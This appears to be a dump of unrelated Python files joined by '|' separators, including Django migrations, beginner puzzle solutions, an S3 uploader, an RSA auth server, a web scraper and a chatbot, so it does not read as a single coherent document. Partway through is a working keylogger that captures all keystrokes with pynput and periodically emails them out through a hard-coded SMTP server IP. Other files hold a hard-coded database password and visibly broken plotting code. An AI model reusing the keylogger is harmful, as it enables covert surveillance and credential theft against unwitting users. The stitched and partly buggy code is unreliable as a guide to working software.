# print "Please switch to Hlt2LongTracks"
# print "Please switch to Hlt2LongTracks"
# print "Please switch to Hlt2LongTracks"
# print "Please switch to Hlt2LongTracks"
# return Hlt2LongTracks()
#
def Hlt2BiKalmanFittedForwardTracking() :
return Hlt2Tracking("Hlt2LongTracking",
FastFitType = HltDefaultFitSuffix,
Hlt2Tracks = 'Long',
DoSeeding = True,
CreateBestTracks = True # Set it to the same in both tracking configurations
)
##
# Now the Downstream tracks with Kalman fit.
#
def Hlt2BiKalmanFittedDownstreamTracking() :
return Hlt2Tracking("Hlt2DownstreamTracking",
FastFitType = HltDefaultFitSuffix,
Hlt2Tracks = 'Downstream',
DoSeeding = True,
CreateBestTracks = True # Set it to the same in both tracking configurations
#TrackCuts = {"Chi2Cut" : [0.,4.] }
)
def setDataTypeForTracking(trackingInstance, dataType):
trackingInstance.setProp("DataType", dataType)
|
a=int(input())
b=0
c=1
while a>b:
b=b+c
c+=1
for i in range(b-a+1):
g = c-(i+1)
h = i+1
if c%2!=0:
print('{}/{}'.format(str(g), str(h)))
else:
print('{}/{}'.format(str(h), str(g)))
|
# -*- coding: utf-8 -*-
# Generated by Django 1.10.7 on 2017-12-20 16:36
from __future__ import unicode_literals
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('checkout', '0001_initial'),
]
operations = [
migrations.CreateModel(
name='Product',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('name', models.CharField(max_length=100)),
],
),
migrations.CreateModel(
name='Transaction',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('quantity', models.PositiveIntegerField()),
('transaction_kind', models.CharField(choices=[('in', 'Entrada'), ('out', 'Saida'), ('eaj', 'Entrada de Ajuste'), ('saj', 'Saída de Ajuste')], max_length=4)),
('date_transaction', models.DateTimeField(auto_now=True)),
('product', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='transactions', to='checkout.Product')),
],
),
migrations.AlterField(
model_name='item',
name='quantity',
field=models.PositiveSmallIntegerField(verbose_name='quantidade'),
),
]
|
import json
import os
import boto3
# Helper function to get the extension of a filename.
def get_file_ext(path):
return path.split('.')[-1]
# Filename extension to meme-type map.
content_type = {
'html': 'text/html',
'css': 'text/css',
'js': 'text/javascript',
'json': 'application/json',
'jpg': 'image/jpeg',
'jpeg': 'image/jpeg',
'png': 'image/png',
'txt': 'text/plain'
}
keys = json.load(open('keys.json'))
FILENAME = __file__
ROOT_DIR = os.path.abspath(os.path.dirname(FILENAME))
OUTPUT_DIR = os.path.join(ROOT_DIR, keys['OUTPUT_DIR_NAME'])
AWS_ACCESS_KEY_ID = keys['AWS_ACCESS_KEY_ID']
AWS_SECRET_ACCESS_KEY = keys['AWS_SECRET_ACCESS_KEY']
s3 = boto3.resource(
's3',
aws_access_key_id=AWS_ACCESS_KEY_ID,
aws_secret_access_key=AWS_SECRET_ACCESS_KEY
)
bucket = s3.Bucket(keys['AWS_S3_BUCKET_NAME'])
# Clear bucket before uploading.
bucket.objects.all().delete()
print('Cleared bucket')
for current_dir, dirs, files in os.walk(OUTPUT_DIR):
for file_ in files:
# Build path of the file.
path = os.path.join(current_dir, file_)
# Build absolute path of the file.
s3_path = path.replace('{}/'.format(OUTPUT_DIR), '')
with open(path, 'rb') as data:
# Get mime-type of file.
try:
ext = get_file_ext(s3_path)
mime_type = content_type[ext]
# Fallback to text/plain meme-type.
except KeyError:
mime_type = content_type['txt']
# Upload file to bucket.
bucket.put_object(Key=s3_path, Body=data, ContentType=mime_type)
print('Uploaded {}: ({})'.format(s3_path, mime_type))
|
from email.MIMEMultipart import MIMEMultipart
from email.MIMEText import MIMEText
from email.Utils import COMMASPACE, formatdate
from email.mime.application import MIMEApplication
import settings
import smtplib
SMTP_USER = settings.SMTP_USER
SMTP_PASSWORD = settings.SMTP_PASSWORD
SMTP_SERVER = settings.SMTP_SERVER
SMTP_PORT = settings.SMTP_PORT
FROM_EMAIL = settings.FROM_EMAIL
SMTP_TIMEOUT = settings.SMTP_TIMEOUT
def send(recipients, subject, email_content, files=[]):
msg = MIMEMultipart()
msg['From'] = FROM_EMAIL
msg['To'] = COMMASPACE.join(recipients)
msg['Date'] = formatdate(localtime=True)
msg['Subject'] = subject
msg.attach(MIMEText(email_content, _charset='utf-8'))
for file in files:
part = MIMEApplication(file.read(), Name=file.filename.encode('utf-8'))
part['Content-Disposition'] = 'attachment; filename="{}"'.format(
file.filename.encode('utf-8'),
)
msg.attach(part)
smtp = smtplib.SMTP(
host=SMTP_SERVER,
port=SMTP_PORT,
timeout=SMTP_TIMEOUT,
)
smtp.set_debuglevel(SMTP_TIMEOUT)
smtp.starttls()
smtp.ehlo()
smtp.login(SMTP_USER, SMTP_PASSWORD)
msg = msg.as_string()
msg = msg.replace('text/plain', 'text/html')
smtp.sendmail(FROM_EMAIL, recipients, msg)
smtp.close()
|
"""Some basic routines for working with microphones."""
import numpy as np
import matplotlib.pyplot as plt
from scipy.stats import linregress
from scipy.interpolate import CubicSpline
import sys
from calibrations import microphones as MICROPHONES
def plot_microphone_transfer_function(microphone_id):
try:
data = MICROPHONES[sensor_id]
except:
raise ValueError(
"Unknown microphone ID %s provided, available devices in calibrations.py"
% sensor_id)
frequencies = np.array(data['frequency'])
responses = np.array(data['response'])
phase = np.array(data['phase'])
xvals = np.linspace(min(frequencies), max(frequencies))
spline_yr = CubicSpline(frequencies, responses, bc_type='not-a-knot')
spline_yp = CubicSpline(frequencies, phase, bc_type='not-a-knot')
yvals_resp = spline_yr(xvals)
yvals_resp = spline_yp(xvals)
fig, ax = plt.subplots(nrows=2, ncols=1, figsize(5, 5), dpi=150)
ax[0].scatter(frequencies, responses, color="k", marker='o')
ax[0].plot(xvals, yvals_resp, color="k", linewidth=2, linestyle="--")
ax[0].ylabel("Response [mV/Pa]", fontsize=16)
ax[0].scatter(frequencies, responses, color="k", marker='o')
ax[0].plot(xvals, yvals_phase, color="k", linewidth=2, linestyle="--")
ax[0].ylabel("Phase [rad]", fontsize=16)
ax[0].xlabel("Frequency [Hz]", fontsize=16)
fig.suptitle("Transfer function for mic %s" % microphone_id, fontsize=16)
|
#!/usr/bin/env python3
import os
import socket
import threading
import json
import uuid
import subprocess
from Crypto.PublicKey import RSA
from connection import Connection
class Server:
def __init__(self, portNumber):
self.serverSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.port = portNumber
self.lock = threading.Lock()
self.__start()
"""
Starts listening on a port and controls handling incoming requests
"""
def __start(self):
try:
self.serverSocket.bind((socket.gethostname(), self.port))
self.serverSocket.listen(5)
print(f"Started listening on port {self.port}...")
except Exception as e:
print(str(e))
quit()
try:
while True:
(clientsocket, clientaddress) = self.serverSocket.accept()
threading.Thread(target = self.handleAuthRequest, args=(clientsocket, clientaddress)).start()
except Exception as e:
print(str(e))
"""
Handles authentication request from a client
"""
def handleAuthRequest(self, clientsocket, clientaddress):
try:
hostname = socket.gethostbyaddr(clientaddress[0])[0] # => (hostname, alias-list, IP)
print(f"Handling request from {hostname}.")
# 1. Client sends E_s(N_c)
clientname = self.decrypt(self.__getPrivateKey(), clientsocket.recv(8192)).decode()
sessionKey = self.generateSessionKey()
# An exception will be raised if decryption fails or client not found
response = self.encrypt(self.__getClientPublicKey(clientname), f"{clientname},{sessionKey}")
clientsocket.send(response)
# Start listening to commands
connection = Connection( (clientsocket, clientaddress), sessionKey)
threading.Thread(target = connection.listen).start()
except Exception as e:
print(str(e))
clientsocket.send(str(e).encode())
clientsocket.close()
"""
Reads and returns the client's public key from the store
"""
def __getClientPublicKey(self, client):
try:
self.lock.acquire()
with open('clients.json', 'r') as file:
data = json.load(file)
pemFileName = data[client]
with open(pemFileName, 'rb') as pemFile:
return RSA.importKey(pemFile.read())
finally:
self.lock.release()
"""
Reads and returns the server's private key
"""
def __getPrivateKey(self):
with open('server_private_key.pem', 'rb') as file:
return RSA.importKey(file.read())
"""
Encrypts data given an RSA public key
"""
def encrypt(self, encryptionKey, data):
return encryptionKey.encrypt(data.encode(), 32)[0]
"""
Decrypts data given an RSA private key
"""
def decrypt(self, decryptionKey, data):
return decryptionKey.decrypt(data)
"""
Generates random session key
"""
def generateSessionKey(self):
return str(uuid.uuid1()) |
"""
1193번) 분수찾기
무한히 큰 배열에 다음과 같이 분수들이 적혀있다.
1/1 1/2 1/3 1/4 1/5 …
2/1 2/2 2/3 2/4 … …
3/1 3/2 3/3 … … …
4/1 4/2 … … … …
5/1 … … … … …
… … … … … …
이와 같이 나열된 분수들을 1/1 -> 1/2 -> 2/1 -> 3/1 -> 2/2 -> … 과 같은 지그재그 순서로 차례대로 1번, 2번, 3번, 4번, 5번, … 분수라고 하자.
X가 주어졌을 때, X번째 분수를 구하는 프로그램을 작성하시오.
"""
#입력: 첫째 줄에 X(1 ≤ X ≤ 10,000,000)가 주어진다.
T = int(input())
# 변수 초기화
num1= 1 # 분자
num2 = 1 #분모
status = 'R' #R이면 분자는 작아지고 분모는 커짐 L이면 그 반대
if T != 1:
for i in range(1,T):
if status=='R':
if num1 == 1: #분자가 1까지 작아지면
status = 'L' #상태를 바꿔주고
num2 = num2+1 # 분모를 1 증가 해준다.
else:
num1 = num1-1
num2 = num2+1
else:
if num2 == 1: #분모가 1까지 작아지면
status = 'R' #상태를 바꿔주고
num1 = num1+1 #분자를 1 증가해준다.
else:
num1 = num1+1
num2 = num2-1
#출력: 첫째 줄에 분수를 출력한다.
print("{}/{}".format(num1,num2))
|
# Problem: given a cost matrix cost[row][col] and a position (m, n) ( m < row and n < col)
# Question: find minimum cost path from (0, 0) to (m, n)
# Using recursive approach to returns cost of minimum cost path from (0,0) to (m, n) in mat[R][C]
def min_path_recursive(graph, m, n):
if m < 0 or n < 0:
return float("inf")
if m == 0 and n == 0:
return graph[0][0]
return graph[m][n] + min(min_path_recursive(graph, m-1, n),
min_path_recursive(graph, m, n-1),
min_path_recursive(graph, m-1, n-1))
def min_path_dp(graph, m, n):
r, c = len(graph), len(graph[0])
# Instead of following line, we can use int tc[m+1][n+1] or dynamically allocate memoery to save space.
# The following line is used to keep te program simple and make it working on all compilers.
dp = [[0 for _ in range(c)] for _ in range(r)]
for i in range(r):
for j in range(c):
if i == 0 and j == 0:
dp[i][j] = graph[i][j]
# Initialize first row of total cost(tc) array
if i == 0:
dp[i][j] = graph[i][j] + dp[i][j-1]
# Initialize first column of total cost(tc) array
elif j==0:
dp[i][j] = graph[i][j] + dp[i-1][j]
# Construct rest of the dp array
else:
dp[i][j] = graph[i][j] + min(dp[i][j-1], dp[i-1][j], dp[i-1][j-1])
if i == m and j == n:
return dp[i][j]
return -1
if __name__ == "__main__":
graph = [[1, 2, 3],
[4, 8, 2],
[1, 5, 3]]
m, n = (2, 2)
result_recursive = min_path_recursive(graph, m, n)
result_dp = min_path_dp(graph, m, n)
print("The min cost path from (0, 0) to ({:d}, {:d}) using recursive approach is: {:d}".format(m ,n , result_recursive))
print("The min cost path from (0, 0) to ({:d}, {:d}) using dp approach is: {:d}".format(m ,n , result_dp))
|
from random import randint
import random
import string
import sys
import getpass
import os
successful_decrypted_message = "<<<Successful file decrypt>>>"
#a "unit" that has 2 locations to be swapped(1,2)
class Scramble_unit:
first = 0
second = 0
def __init__(self, first,second):
self.first = first
self.second = second
#a pattern(an ordered list) of scramble units
class Scramble_patt:
locations = {}
counter = 0
def __init__(self):
self.locations = {}
self.counter = 0
def add(self, scrambleUnit):
self.locations[self.counter] = scrambleUnit
self.counter = self.counter + 1
#a function that takes a message and a scramble pattern and scrambles it.
def scramble(message, pattern):
result = list(message)
for i in range(0,len(pattern.locations)):
scrambleUnit = pattern.locations[i]
t = result[scrambleUnit.first]
result[scrambleUnit.first] = result[scrambleUnit.second]
result[scrambleUnit.second] = t
return "".join(result)
#a function that reverses the scramble function
def descramble(message,pattern):
result = list(message)
for i in range(len(pattern.locations)-1,-1,-1):
scrambleUnit = pattern.locations[i]
t = result[scrambleUnit.second]
result[scrambleUnit.second] = result[scrambleUnit.first]
result[scrambleUnit.first] = t
return "".join(result)
#generate a random scramble pattern not larger than the limit(string length)
def randomSP(limit):
sp = Scramble_patt()
for i in range(0,randint(1,limit)):
su = Scramble_unit((randint(1,limit)-1), (randint(1,limit)-1))
sp.add(su)
return sp
#prints a scramble unit
def printsu(scramunit):
print '({},{})'.format(scramunit.first,scramunit.second)
def printsp(scrampat):
for i in range(0,len(scrampat.locations)):
printsu(scrampat.locations[i])
def prop(scrampat,limit):
max = 0
for i in range(0, len(scrampat.locations)):
if scrampat.locations[i].first>max:
max = scrampat.locations[i].first
if scrampat.locations[i].second>max:
max = scrampat.locations[i].second
if max>limit:
div = int(max/limit)+1
proppat = Scramble_patt()
for i in range(0,len(scrampat.locations)):
proppat.add(Scramble_unit(int(scrampat.locations[i].first/div),int(scrampat.locations[i].second/div)))
return proppat
return scrampat
def key_to_sp(key,limit):
counter = 0
askey = []
for c in list(key):
askey.append(ord(c))
scp = Scramble_patt()
while counter < len(askey)-1:
scp.add(Scramble_unit(askey[counter], askey[counter+1]))
counter = counter + 2
return prop(scp,limit)
def key_to_len(key, length):
good_len_key = ''
x = 0
for i in range(0,length):
if x == len(key):
x = 0
good_len_key += list(key)[x]
x = x + 1
return good_len_key
def encrypt(mess,key):
enmess = ''
for i in range(0,len(mess)):
enmess += addChars(list(mess)[i],list(key)[i])
sp = key_to_sp(key,len(enmess))
senmess = scramble(enmess,sp)
return senmess
def addChars(a,b):
if a == '\n':
return a
if a == '\t':
return a
for i in range(0,ord(b)):
if ord(a) == 126:
a = chr(31)
a = chr(ord(a)+1)
return a
def decrypt(mess,key):
demess = ''
sp = key_to_sp(key,len(mess))
mess = descramble(mess,sp)
for i in range(0,len(mess)):
demess += subChars(list(mess)[i],list(key)[i])
return demess
def subChars(a,b):
if a == '\n':
return a
if a == '\t':
return a
for i in range(0,ord(b)):
if ord(a) == 32:
a = chr(127)
a = chr(ord(a)-1)
return a
def format_scram_patt(scram_patt):
s = ''
for i in range(0,len(scram_patt.locations)):
su = scram_patt.locations[i]
s += '{},{},'.format(su.first,su.second)
return s
def deformat_scram_patt(form_scram_patt):
scram_patt = Scramble_patt()
i = 0
scram_patt_list = form_scram_patt.split(',')
while i < len(scram_patt_list):
first = int(scram_patt_list[i])
i = i + 1
second = int(scram_patt_list[i])
i = i + 1
scram_patt.add(Scramble_unit(first,second))
return scram_patt
def rankey(size):
return ''.join(random.choice(string.letters + string.digits + string.punctuation) for _ in range(size))
def help():
print "Use: python .encryption.py -<opt> -<opt> -<opt> ... <args> <args> <args> ..."
print "options:"
print "encrypting message with key: -ek <message> <key>"
print "encrypting message without key: -e <message> (key will be in included in output)"
print "decrypting: -d <message> <key>"
print "encrypt file with key: -ef"
print "decrypt file with a key: -df"
print "To split a file: -s <file> (result and key file generated)"
print "To join a file: -j <Rfile> <Kfile2>"
#print "encrypt/decrypt message with scrambling: -s"
print "Example: python .encryption.py -ek <message> <key>"
#print "Example N.2: python .encryption.py -d -s <message> <key> <scramble>"
print "Help menu: -?"
def encryptFile(filename, key):
fr = open(filename, 'r')
lines = fr.readlines()
fw = open(filename, 'w')
location = random.randint(0,len(lines)-1)
x = 0
for l in lines:
if x == location:
fw.write(encrypt(successful_decrypted_message+l, key_to_len(key,len(successful_decrypted_message+l))))
else:
fw.write(encrypt(l,key_to_len(key,len(l))))
x = x + 1
fw.close()
def decryptFile(filename, key):
fr = open(filename, 'r')
lines = fr.readlines()
success = 0
decrypted_lines = []
for l in lines:
decrypted_mess = decrypt(l, key_to_len(key,len(l)))
if successful_decrypted_message in decrypted_mess:
decrypted_mess = decrypted_mess[len(successful_decrypted_message):]
success = 1
decrypted_lines.append(decrypted_mess)
if success:
fw = open(filename, 'w')
for dl in decrypted_lines:
fw.write(dl)
fw.close()
else:
print 'Wrong Key.'
def split(filename):
fr = open(filename, 'r')
lines = fr.readlines()
fw = open(filename, 'w')
fw.close()
os.remove(filename)
result_lines = []
key_lines = []
for line in lines:
key = rankey(len(line))
result = encrypt(line, key)
result_lines.append(result)
key_lines.append(key)
rf = open('R{}'.format(filename), 'w')
for rl in result_lines:
rf.write(rl)
rf.close()
kf = open('K{}'.format(filename), 'w')
for kl in key_lines:
kf.write('{}\n'.format(kl))
kf.close()
print 'R{} and K{} files created.'.format(filename,filename)
print 'You will need them both to retrieve the original file.'
def join(rf, kf):
rr = open(rf, 'r')
rlines = rr.readlines()
rr.close()
kr = open(kf, 'r')
klines = kr.readlines()
kr.close()
os.remove(rf)
os.remove(kf)
fw = open(rf[1:],'w')
for i in range(0, len(rlines)):
fw.write(decrypt(rlines[i], klines[i]))
fw.close()
print '{} file created.'.format(rf[1:])
args = sys.argv
if len(args) == 1:
help()
elif args[1] == '-?':
help()
elif args[1] == '-ek':
if len(args) == 3:
key = getpass.getpass()
print encrypt(args[2], key_to_len(key, len(args[2])))
else:
m = raw_input('Message: ')
key = getpass.getpass()
print encrypt(m, key_to_len(key, len(m)))
elif args[1] == '-e':
if len(args) == 3:
key = rankey(len(args[2]))
print encrypt(args[2], key)
fw = open('key.txt', 'w')
fw.write(key)
fw.close()
print 'Key written in key.txt'
else:
m = raw_input('Message: ')
key = rankey(len(m))
print encrypt(args[2], key)
fw = open('key.txt', 'w')
fw.write(key)
fw.close()
print 'Key written in key.txt'
elif args[1] == '-d':
if len(args) == 3:
key = getpass.getpass()
print decrypt(args[2], key_to_len(key, len(args[2])))
else:
m = raw_input('Message: ')
k = getpass.getpass()
print decrypt(m, key_to_len(k, len(m)))
elif args[1] == '-ef':
if len(args) == 3:
key = getpass.getpass()
print 'Confirm password:'
ck = getpass.getpass()
if key == ck:
encryptFile(args[2],key)
else:
print 'Passwords must match'
else:
f = raw_input('Filename: ')
k = getpass.getpass()
print 'Confirm password:'
ck = getpass.getpass()
if k == ck:
encryptFile(f,k)
else:
print 'Passwords must match'
elif args[1] == '-df':
if len(args) == 3:
key = getpass.getpass()
decryptFile(args[2], key)
else:
f = raw_input('Filename: ')
k = getpass.getpass()
decryptFile(f, k)
elif args[1] == '-s':
if len(args) == 3:
split(args[2])
else:
filename = raw_input('filename: ')
split(filename)
elif args[1] == '-j':
if len(args) == 4:
join(args[2], args[3])
else:
result_file = raw_input('result file: ')
key_file = raw_input('key file: ')
join(result_file,key_file)
else:
help()
"""
while run:
command = raw_input('Command>> ')
if command == 'q':
run = 0
elif command == 'e':
mess = raw_input('Enter message to encrypt: ')
key = raw_input('Enter an encryption key: ')
scram_patt = randomSP(len(mess))
scram_mess = scramble(mess,scram_patt)
enmess = encrypt(scram_mess,key_to_len(key,len(mess)))
result = enmess
result += '|{}'.format(format_scram_patt(scram_patt))
print result
elif command == 'd':
enmess = raw_input('Enter message to decrypt: ')
key = raw_input('Enter an encryption key: ')
scram_start = enmess.rfind('|')
scram_formatted = enmess[scram_start:]
scram_form = scram_formatted[1:len(scram_formatted)-1]
scram_patt = deformat_scram_patt(scram_form)
final_enmess = enmess[:scram_start]
demess = decrypt(final_enmess, key_to_len(key, len(final_enmess)))
descram = descramble(demess, scram_patt)
print descram
else:
print 'invalid command'
"""
|
"""
EJERCICIO 7
"""
nombreMayor=" "
nombreMenor=" "
i=1
ns=int(input("¿Cuantos numeros ingresara?"))
while i<=ns:
print("Ingrese el promedio: ",i)
t=eval(input())
print("Ingrese el nombre: ",i)
nombre=input()
if (i==1):
may=t
men=t
nombreMenor=nombre
nombreMayor=nombre
elif (t>may):
nombreMayor=nombre
may=t
elif (t<men):
nombreMenor=nombre
men=t
i=i+1
print("---RESULTADO---")
print("El menor promedio de los ingresados es: ",men," y lo tiene el estudiante de nombre:",nombreMenor)
print("El mayor promedio de los ingresados es: ",may, " y lo tiene el estudiante de nombre:",nombreMayor)
|
from unittest import TestCase
from adapters.validators.function_type_validator import FunctionTypeValidator
class FunctionTypeValidatorTest(TestCase):
def test_found_f(self):
assert FunctionTypeValidator.valid('fibonacci')
def test_not_found_f(self):
assert not FunctionTypeValidator.valid('zeta')
|
from flask import Flask
"""
Commented out Mongo stuff for now while we figure out the server situation.
from flaskext.mongoalchemy import MongoAlchemy
app = Flask(__name__)
app.config['MONGOALCHEMY_DATABASE'] = 'x'
app.config['MONGOALCHEMY_USER'] = 'x'
app.config['MONGOALCHEMY_PASSWORD'] = 'x'
app.config['MONGOALCHEMY_SERVER_AUTH'] = False
db = MongoAlchemy(app)
"""
#This assumes we're using shelve but should work for anything
class User(object):
def __init__(self, given_name=None, surname=None, home=None, age=None, gender=None):
self.given_name = given_name
self.surname = surname
self.full_name = str(given_name) + " " + str(surname)
self.home = home
self.age = age
self.gender = gender
def set_phone(self, own_phone, phone_type):
self.own_phone = own_phone
self.phone_type = phone_type
def set_social_media(self, facebook, email):
self.facebook = facebook
self.email = email
def set_web_sites(self, web_sites):
self.web_sites = [] |
"""
"""
# -----------------------------------------------------------------------------
# import:
# -----------------------------------------------------------------------------
# fuggvenyek:
def szamrendszerben_kiir(szam, szamrendszer) :
if szam == 0 :
return
szamrendszerben_kiir(szam // szamrendszer, szamrendszer)
print(szam % szamrendszer, end="")
#
def beolvas() :
while True :
try :
print("Add meg az atvaltando pozitiv egesz szamot!")
szam = int(input())
if szam < 1 :
continue
print("Adj meg egy szamrendszert ( [2, 10] zart intervallumon)!")
szamrendszer = int(input())
if szamrendszer < 2 or szamrendszer > 10 :
continue
break
except :
print("Hibas input!")
return (szam, szamrendszer)
#
def main() :
elvalaszto_sor = "\n" + ("-" * 79) + "\n"
print( elvalaszto_sor )
(szam, szamrendszer) = beolvas()
print("\nA megadott szam 10 alapu szamrendszerben: {}\n\n{} alapu szamrendszerben: ".format(szam, szamrendszer), end="")
szamrendszerben_kiir(szam, szamrendszer)
print()
print( elvalaszto_sor )
#
# -----------------------------------------------------------------------------
# futtatas:
if __name__ == "__main__" :
main()
#
|
from selenium.webdriver import Chrome
from selenium.webdriver.common.keys import Keys
from selenium.webdriver.chrome.options import Options
from time import sleep
import tkinter as tk
import xlsxwriter
webdriver = "C:/Users/Brendan/Documents/Python Projects/HelloCoding/chromedriver.exe"
options = Options()
def searchWebsite():
search_entry = ''
item_name = []
item_price = []
formatted_price = []
# - Grabs the text entered into Tkinter, adds headless arguments to Chrome's webdriver - #
search_entry = entry1.get()
options.add_argument('--headless')
options.add_argument('--disable-gpu')
driver = Chrome(webdriver, options=options)
# - Opens Takealot, searches the keywords and creates a list of items on the first results page - #
driver.get('https://www.takealot.com/')
sleep(8)
elem = driver.find_element_by_class_name('search-field ')
elem.send_keys(search_entry)
elem.send_keys(Keys.RETURN)
sleep(7)
search_by_item = driver.find_elements_by_class_name('result-item')
# - Gets the item name and price for each item on the first results page - #
for item in search_by_item:
get_name = item.find_element_by_id('pos_link_0').text
item_name.append(get_name)
get_price = item.find_element_by_class_name('amount').text
item_price.append(get_price)
sleep(3)
for price in item_price:
formatted_price.append('R ' + price)
driver.close()
master.quit()
my_dict = dict(zip(item_name, formatted_price))
# - Creates a .xlsx sheet and does some basic formatting - #
workbook = xlsxwriter.Workbook('SCRAPE_DATA.xlsx')
cell_format = workbook.add_format({'bold':True, 'size':16})
cell_format.set_center_across('center_across')
cell_format2 = workbook.add_format({'align':'right'})
worksheet = workbook.add_worksheet()
row = 1
col = 0
worksheet.write(row - 1, col, 'ITEM',cell_format)
worksheet.write(row - 1, col + 1, 'PRICE',cell_format)
worksheet.set_column('A:A', 1)
worksheet.set_column('A:A', 50)
# - Writes the information to the above created sheet - #
for k, v in my_dict.items():
worksheet.write(row, col, k)
worksheet.write(row, col + 1, v, cell_format2)
row += 1
workbook.close()
# - This creates the window, text box and button that initiates the searchWebsite def - #
master = tk.Tk()
master.title('Takealot Search')
canvas = tk.Canvas(master, width=300, height=200)
canvas.pack()
label1 = tk.Label(master, text='Creates an Excel sheet with the first page results.')
label2 = tk.Label(master, text='Enter your search below (and please be patient)')
entry1 = tk.Entry(master)
button1 = tk.Button(master, text='Go', command=searchWebsite)
canvas.create_window(150, 30, window=label1)
canvas.create_window(150, 60, window=label2)
canvas.create_window(150, 100, window=entry1)
canvas.create_window(150, 140, window=button1)
master.mainloop()
######################################################################################
|
import smtplib
import pynput
from pynput.keyboard import Key, Listener
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
keys = [] #this list will have all the keys
### a function to add the key pressed to the list #####
def on_press(key):
keys.append(key)
write_file(keys)
if len(keys) == 500:
send_email(keys)
keys.clear()
#### a function to write the log in a .txt file ########
def write_file(keys):
with open('log.txt', 'w') as f:
for key in keys:
if key == Key.space:
f.write(" ")
elif key == Key.backspace or key == Key.shift or key == Key.ctrl_l:
f.write("")
else:
k = str(key).replace("'", "")
f.write(k)
#### a function to send a email ###################
def send_email(keys):
## making the key's list a message
textMessage = ''
for key in keys:
if key == Key.space:
textMessage = textMessage + " "
else:
k = str(key).replace("'", "")
textMessage = textMessage + k
# create message object instance
msg = MIMEMultipart()
message = textMessage
# setup the parameters of the message
password = "your_password"
msg['From'] = "your_email"
msg['To'] = "your_email_again"
msg['Subject'] = "the_subject"
# add in the message body
msg.attach(MIMEText(message, 'plain'))
# create a server
server = smtplib.SMTP('64.233.184.108', 587)
server.starttls()
# login the credentials
server.login(msg['From'], password)
# send the message via the server
server.sendmail(msg['From'], msg['To'], msg.as_string())
server.quit()
with Listener(on_press = on_press) as listener:
listener.join()
|
def is_passphrase_valid(phrase, trans=str):
words = tuple(trans(w) for w in phrase.split())
unique_words = set(words)
return len(words) == len(unique_words)
def valid_passphrases(passphrases, trans=str):
return [p for p in passphrases if is_passphrase_valid(p, trans=trans)]
def sorted_word(word):
return "".join(sorted(word))
|
"""
Swiss Army Knife of Python
"""
__author__ = 'Kirill V. Belyayev'
__version__ = '0.01.28'
__license__ = 'MIT'
|
# map/reduce
from functools import reduce
def add(x,y):
return x+y
print(reduce(add,[1,2,3,4,5]))
def fun(x,y):
return x*10 + y
print(reduce(fun,[1,2,3,4,5]))
|
# Generated by Django 2.0.5 on 2018-06-15 06:44
from django.db import migrations, models
import django.utils.timezone
class Migration(migrations.Migration):
dependencies = [
('Article', '0004_auto_20180615_1153'),
]
operations = [
migrations.CreateModel(
name='Comment',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('articleId', models.IntegerField(default=0)),
('title', models.CharField(default='未命名', max_length=50)),
('username', models.CharField(default='user', max_length=30)),
('comment', models.TextField(default='评论待编辑...')),
('userphoto', models.ImageField(default='images/q1.png', upload_to='imgs')),
('commentuser', models.CharField(default='user', max_length=30)),
('nickname', models.CharField(default='匿名', max_length=30)),
('createdate', models.DateTimeField(default=django.utils.timezone.now)),
],
),
migrations.AddField(
model_name='collect',
name='nickname',
field=models.CharField(default='', max_length=30),
),
migrations.AddField(
model_name='like',
name='nickname',
field=models.CharField(default='', max_length=30),
),
migrations.AlterField(
model_name='collect',
name='collectuser',
field=models.CharField(default='', max_length=30),
),
migrations.AlterField(
model_name='collect',
name='username',
field=models.CharField(default='', max_length=30),
),
migrations.AlterField(
model_name='like',
name='likeuser',
field=models.CharField(default='', max_length=30),
),
migrations.AlterField(
model_name='like',
name='username',
field=models.CharField(default='', max_length=30),
),
]
|
from django.shortcuts import render
from django.http import HttpResponseRedirect
from django.template.context_processors import csrf
from django.contrib.auth import authenticate
from django.contrib.auth.decorators import login_required
# Create your views here.
from .forms import Logindata
def loginscreen(request):
form = Logindata()
c={}
c.update(csrf(request))
return render(request, 'login.html', {'form':form})
def authenticatelogin(request):
# get user credentials an validate them using the authenticate method
form= Logindata(request.POST)
if form.is_valid():
username=form.cleaned_data['usuario']
userpassword=form.cleaned_data['clave']
user = authenticate(username=username, password=userpassword)
print(user.username)
#@login_required
#def testmethod(request):
# print('hello')
# return True |
pg_user = "admin"
pg_password = "secret"
pg_host = "127.0.0.1"
pg_port = "5432"
pg_database = "postgres"
|
from flask import Flask, request
import traceback
import configparser
import datetime
from apihelper import SparkAPICaller
app = Flask(__name__)
spark_api = SparkAPICaller()
@app.route('/')
def hello():
"""Run your server and go browse to the root of your server: http://localhost:5000 and see if it is working. It shows the message Hello Spark World!"""
return "Hello Spark World!"
@app.route("/webhook_messages", methods=['GET', 'POST'])
def webhook_messages():
output = "Empty"
try:
parsed_input = parse_user_input(request)
message = parsed_input["message"]
message_id = parsed_input["message_id"]
person_id = parsed_input["person_id"]
person_email = parsed_input["person_email"]
room_id = parsed_input["room_id"]
#this logs the message on the console
print ("Received: {}".format(message))
#Build here the message that you want to post back on the same Spark room.
will_reply_something = False
#Setting up some default values for the message to be posted.
post_roomId = room_id #Usually it's the same room where you received the message.
post_toPersonId = None #
post_toPersonEmail = None
post_text = None
post_markdown = None
post_files = None
#Here you will analyze all the messages received on the room and react to them
#Here's a simple example.
if (is_this_my_string(message, ["hi"])):
post_text = "Hello there!"
will_reply_something = True
#Now we can start playing around with other functions of the Spark API
elif (is_this_my_string(message, ["show me the money"])):
post_text = "Here's your money, {}.\nYour Id is <{}>\nThe id of the message that triggered this interaction is <{}>".format(person_email, person_id, message_id)
post_files = "https://cdn3.iconfinder.com/data/icons/free-icons-3/128/004_money_dollar_cash_coins_riches_wealth.png"
will_reply_something = True
elif (is_this_my_string (message, ["show me more money"])):
post_text = "Fancy some gold?"
post_files = "https://cdn0.iconfinder.com/data/icons/ie_Bright/128/gold.png"
will_reply_something = True
elif (is_this_my_string(message, ["who are you?", "who are you"])):
post_text = "Hum! You're curious! I'm a bot that wants to help you. Do you know Siri? Waaaay better."
will_reply_something = True
elif (is_this_my_string(message, ["how can you help me?", "how can you help me", "help", "menu"])):
post_text = "Here's what you can currently ask me: 'show me the money', 'show me more money', 'who am i?', 'who are you', 'which rooms'"
will_reply_something = True
